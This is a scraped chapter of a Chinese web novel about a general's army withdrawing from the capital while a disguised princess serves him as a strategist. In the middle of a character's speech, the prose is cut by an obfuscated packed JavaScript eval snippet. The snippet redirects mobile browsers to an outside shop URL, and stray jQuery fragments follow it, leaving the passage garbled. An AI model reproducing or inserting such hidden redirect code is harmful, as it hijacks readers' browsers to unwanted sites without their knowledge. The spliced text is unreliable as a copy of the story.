文趣网 > 其他小说 > 孤鸦寒渡 > 12. 撤军
    拂晓前,夜色浓稠如墨,死死糊在京都的天幕上。

    驻扎在城内的虎豹骑猝然接到军令,整队开拔,悉数撤离京都。马蹄裹布,人衔枚,一万精锐如幽灵般潜行,沿着长街向城门方向急行军。

    然而有此打算的并不止朔天策一个。

    金阙门前,火光摇曳,虎豹骑竟与周应雄率领的河东军狭路相逢,两军争道出城,差点发生混战。

    “混账!都与我住手!”周应雄策马上前,声如洪钟,一鞭抽在自家一个拔刀的百夫长背上。

    他转脸却对朔天策拱手笑道:“末将御下不严,叫将军见笑了。都是自家兄弟,怎好因小事伤了和气?”

    朔天策端坐马上,抬手示意,身后的虎豹骑齐刷刷封刀入鞘。

    周应雄爽朗一笑,似是方才那剑拔弩张的一幕从未发生,他朗声问道:“朔将军现下出城,此番可是要回陇西?”

    “虎豹骑性急鲁莽,屡犯禁令。朔某惭愧,刚刚才惩治完一帮醉酒闹事的兵卒。”

    “惊扰百姓,委实不该。为这满城黎庶,我等也该退出京都了。”朔天策顿了顿,目光投向周应雄身后黑压压的军队,“周将军呢?夤夜至此,何事急着出城?”

    “兄弟们在城中住不惯。”周应雄拍拍马颈,露齿一笑,“我等粗人,惯于幕天席地,枕戈待旦,那高床软枕睡上去反倒腰酸背痛,连个囫囵觉都睡不踏实。何况,这朝中局势已稳,我等自当回河东去了。”

    二人打着哈哈,心照不宣地互相恭维了几句。

    “周将军真是爱兵如子。”

    “朔将军大义,以百姓为先,周某佩服。都让开,让朔将军的人先过。”

    周应雄一挥手,河东军缓缓让出一条通道。

    “如此,便多谢了。”朔天策在马上微微欠身,面上笑容和煦,转头那笑意便化作冷意。

    这周应雄的消息当真是灵通,他这劫狱的当事人才刚有动作,周应雄居然也整装待发了。

    “驾——”虎豹骑鱼贯而出,须臾间便消失在茫茫夜色中。

    周应雄望着他们的背影,脸上的笑意渐渐敛去,眼底浮上一层阴鸷。他拨马回阵,一声“出发”,率军往南去。

    两军方才出城,宫中便传来闭城令,好几只反王军队见势不妙想撤出城中,可惜已然不及。

    出得城门不过二里地,天色尚沉。队伍中一辆不起眼的辎重车忽然动了动,车帘撩开,一个相貌平平的青年男子探出头来。他肤色蜡黄,眉目寡淡到令人转头就忘,唯独那双眼却颇为清亮,如两枚水洗过的黑曜石。

    他粗噶着嗓子进言:“主公,距京都二十余里的西南城郊,有一处悬云山,三面悬崖,唯有一条上山之道,易守难攻。山上有飞瀑,水源丰沛,林木也密,便于藏兵。若在此处驻扎,进可居高处窥伺京都动向,退可据险守要。”

    此人正是已经易容的赵九衡。

    要说她如何成了如今的模样,须得回到一个时辰前。

    他们进城之后,朔天策命琅琊卫给了她一块人皮面具和一瓶可改嗓音的秘药。待到她换上一身布袍,带上儒巾,已然判若两人,活脱脱一副青年文士模样。便是承平帝亲临,恐怕也认不出这是他的九公主。

    朔天策对她道:“记着,从此你便是我的幕僚,天下再无嘉懿公主赵九衡。”

    他看重赵九衡的智谋,但她这凤命在乱世中乃祸非福,若不改头换面,难免被有心之人大做文章。

    此举亦是保护她,赵九衡自然省得。

    赵九衡拱手作揖:“多谢主公,宋昶必竭尽所能,报主公知遇之恩。”

    朔天策淡淡瞥了她一眼,远处天际已露出一线鱼肚白,他一夹马腹,扬声道:“去悬云山!”

    铁蹄铮铮踏起烟尘滚滚,虎豹骑浩荡如一列长龙,朝西南行进。而那辆辎重车也垂下了车帘,稳稳当当地随军前行,再无声息。

    ----------------------------

    朔怀渊是在声声鸟叫中醒来的。他只觉这一觉格外昏沉,待到他完全清醒,出得营帐才发现,大军已驻扎在荒郊野外。四下营帐连绵,炊烟袅袅,眼下晨雾未散,寒气直透单衣。

    他茫然四顾,全然不知在他昏睡的这一天一夜里,京中已天翻地覆。他醒来第一件事便是去大帐内寻朔天策。可帐内空空如也,一名守帐的亲兵告诉他,朔天策正在巡营安排防务。

    朔怀渊绕着营地转了半圈,终于在东营侧门碰上了朔天策一行人。他眼睛一亮,急步上前道:“二哥,嘉懿……”

    朔天策眼风如刀,冷厉地扫了他一眼。朔怀渊一愣,这才注意到二哥身后跟着一众将领,实不宜在众将面前提及前朝公主之事。

    他后退一步,乖乖噤声,把话咽了下去。

    朔天策转过身,对身后众人道:“各自去忙吧。”

    众将抱拳领命,四散而去。朔天策却并未搭理朔怀渊,冷着脸大步朝营帐走去。

    一干人等就只剩下赵九衡和郭宣二人未曾离开,仍亦步亦趋地跟着他。赵九衡微微侧目,好奇地偷觑了一眼朔怀渊,她方才似乎听到了自己的封号。

    见左右已无外人,朔怀渊忍不住追上前两步,一把拽住朔天策的袖子:“二哥,昨日为何阻我救嘉懿公主?”

    救她?为何救她?赵九衡疑惑地眨了眨眼。她似乎……与这朔家三公子并无私交,更不记得何时结识过他。

    朔天策绷紧下颌,一把甩开他,脚步未停,对他全然不予理会。

    朔怀渊又唤了一声,语中带了几分焦急:“二哥!”

    朔天策霍然转身,厉声喝道:“住嘴!这便是你这些年军中所学?为一女子不顾大局,全然不看现在是何等形势?”

    朔怀渊被这一通训斥劈头盖脸砸下来,脸上青白交加。他后知后觉,方才意识到大军是连夜撤出来的。那么,城内是又出了什么要紧事吗?

    他茫然转向颇为相熟的郭宣,目中含着求助之意。

    郭宣回道:“少将军,昨夜有人去天牢劫狱,欲救嘉懿公主。眼下城中已大乱,到处缉拿反贼。城内风声鹤唳,将军为防生乱,才命大军连夜撤出了京都。”

    朔怀渊急道:“那嘉懿公主可有事?”

    “现下不知。”

    消息刚传来,将军便下令出城,是以宫中内应都未来得及查明情况。

    朔天策瞥了一眼仍在好奇观望的赵九衡,指着她道:“你同他说。”

    朔怀渊顺着看过去,见那陌生男子一身布衣,个头矮小,站在朔天策身后毫不起眼。

    他皱眉道:“你是何人?”

    语气中满是不客气与不耐烦。

    赵九衡不卑不亢地躬身行礼:“禀少将军,在下宋昶,徽州人士。现下为……”

    “够了。”朔怀渊挥手打断她:“嘉懿公主如何了,速速道来。”

    赵九衡眉梢微扬。她看得分明,朔天策并不想弟弟与她有何瓜葛。而且她的身份不宜暴露,索性把话说绝了。

    遂作悲痛状,语中带了几分沉重与惋惜:“禀少将军,嘉懿公主已薨。”

    “你胡说!”朔怀渊眼中迸出火星,上前一把攥住她的衣领,竟将她提了起来。

    赵九衡心道:这蛮牛与他哥一般不讲道理,索性添油加醋吓他一吓。

    她面色凝重道:“少将军,此乃在下亲眼所见。那嘉懿公主溺死河中,被发现时,尸身已涨得像泡了三日的馒头,周身爬满蚂蟥,一条条吸得圆滚滚。好些还在她脸上拱进拱出的……您是没看到有多惨……”

    她不忍细说,摇头叹道:“哎……可怜公主……浑身没剩下几块好肉了……”

    “哕!”一旁的郭宣先忍不住了,脸色发青,想起早上刚吃了五个大馒头。只觉胃中翻涌,一把扶住旁边的树干,弯下腰吐得昏天黑地。

    这宋昶说话也忒恶心了,再配上那把呕哑嘲哳难为听的破锣嗓子,简直是双重折磨,这让他以后还怎么吃得下馒头。

    就连朔天策都忍不住微微皱眉。但她这番胡言乱语,左右是彻底断了朔怀渊的念想。

    “住口!”朔怀渊煞白着脸松开了她,踉跄着后退两步,眼神空洞地望着前方,嘴唇微微颤抖。

    二哥不是说,嘉懿公主尚有用处,他们不会轻下杀手的吗?

    良久,他缓缓蹲下身去,双手抱头,肩膀轻轻耸动着,哑着嗓子喃喃道:“不可能……这不可能……”

    叫他如何能接受昨日还出尘脱俗的仙子,今日已化作面目全非的水鬼。

    赵九衡立于一旁,好脾气地整理着被攥皱的衣领,心中却纳闷得很,看朔怀渊这模样倒像是对她有情?可她翻遍了记忆,也不记得何时招惹过这位三公子,更不记得何时有欠下这么一笔情债。

    “你随我进来。”朔天策沉声道,瞥了朔怀渊一眼,转身掀帘走进大帐。

    朔怀渊跟了进去。

    帐帘落下,将内外隔成两个世界。

    朔天策于案前站定,冷冷道:

    “你看看你如今这副样子,成何体统?你可还记得你是谁?”

    “若连这点轻重都拎不清,趁早脱了这身甲

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512569|203057||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    胄,回陇西当你的少爷去!”

    朔怀渊垂着头,眼眶渐红。

    沉默良久,朔天策才缓缓转过身来,脸上的冷厉已褪去大半。他抬手捏了捏眉骨,走到朔怀渊身边,将其按在行军榻上。

    “阿渊。”他放缓了声音,“我知你心中不好受。”

    朔怀渊并未言语,可那撑在膝上的双手攥得紧紧的。喉结上下滚动,逼着自己咽下心中苦涩。

    朔天策在他身旁坐下,温言道:“但那宋昶所言属实。斯人已逝……你不必再挂念了。”

    朔怀渊垂下眼睑,一滴泪无声地砸在他的手背上,又迅速被他抹去。

    朔天策叹了口气,手掌在弟弟肩上重重按了按:“眼下我们还有更重要的事要办。还记得我此前说的时机吗?如今时机便到了。这几日你去协助郭宣清点辎重,整肃营伍,把心思定一定,我回头会安排一些差事给你。”

    朔怀渊茫然地点头,眼神仍是散的。

    少年心动,源于惊鸿一瞥。奈何再闻,已是阴阳两隔。虽不能说刻骨铭心,但胸口疼得发紧。那是情丝方萌,便被连根拔起的痛。

    朔天策瞧他这副失魂落魄的模样,怕是一时半会缓不过来,遂起身离开,留他一人静静。

    离开前他又嘱咐一句:“对了,还有一事。你离那宋昶远些。此人……并非善类。”

    言罢,他掀帘出了大帐。

    帐外晨光已大亮,雾气尽散。朔天策走了两步,忽地顿住。

    那令朔怀渊牵肠挂肚的赵九衡,正站在不远处,左臂上稳稳当当地架着一只海东青。那凶狠的猛禽竟乖顺地立在她臂上,而她正拿手指逗弄它的喙。

    海东青腿上的铜管已不见踪影。

    “主公,您这隼……”她抬起头,话未说完。

    朔天策一步跨上前,右手猛地掐住她的脖子,五指收紧。赵九衡被这突如其来的力道带得向后一仰,臂上的海东青唳叫一声,惊飞而起。

    他驯的鹰向来只认他一人,旁人靠近便会被啄得鲜血淋漓。她到底用的什么手段,竟能让这畜生乖乖停在她臂上?铜管里的密信呢?她可曾动过?

    “主……公……为……何……”赵九衡被掐得半死,拼尽全力去掰他的手。

    恰在这时,郭宣拎着一块血淋淋的肉从营帐后面跑过来,嘴里还喊着:“宋先生,这獐子肉可以吗?刚抓的,新鲜……”

    他一抬头,被眼前的一幕,惊得手里的肉差点掉地上:“将军,这……这是怎么了?”

    朔天策的目光死死钉在赵九衡脸上。“把密信交出来。”

    郭宣一愣,随即恍然大悟,忙不迭从袖中取出铜管,双手呈上:“将军,在我这儿呢!方才您在帐内跟少将军议事,那海东青飞回来,宋先生说它饿得打晃了,让我去寻些肉来喂它。我就先取了铜管,去找肉了……”

    朔天策这才收了戾气,缓缓松开手。

    赵九衡捂住脖子,弯下腰剧烈地咳着,喘气都费劲。

    郭宣赶紧扶住她,小声问:“没事吧,宋先生?要不要叫军医?”

    她摆摆手,许久才哑着嗓子,艰难地挤出两个字:“没……事。”

    只在心里暗骂:嘶,这莽夫掐人还掐上瘾了。上回掐完这回又掐,真当她是泥人?

    朔天策扫了眼铜管上的封蜡,的确未曾被人动过。他脸色稍霁,但看向赵九衡的目光仍带着几分戒备。

    就在此时,一名斥候疾驰入营。那人翻身下马,单膝跪地,声音急促:“报——淮南军与玄武军于金水河畔交战,淮南王身中数箭,坠马而亡,手下一万五千兵马悉数被斩杀,玄武军亦折损近半。”

    朔天策目光一凛,深深看了她一眼,她的计策,竟真成了。玄武军与淮南军本为京都最强的两股势力,这一战下来,京中再无强敌。

    赵九衡直起身来,她勾起唇角,慢条斯理地整了整衣袖,而后垂下眼帘拱手道:

    “这便是在下的投名状。”

    屠她满门的韦仲,临阵倒戈的淮南王……她的仇人,一日之间尽数覆灭。

    而她竟未费一兵一卒,便报了血海深仇。

    朔天策盯着她看了许久,目光复杂。

    郭宣站在中间,只觉得气氛诡异得很。

    那斥候还跪在地上,又禀道:“还有一事,将军。属下探得,周应雄的一万河东军,并未走远,正驻扎在距离我军不到二十里的南山之上。”

    看来这想坐收渔翁之利的,并非只有他们一家。

    朔天策沉声道:“召集各营主将,速来大帐议事。”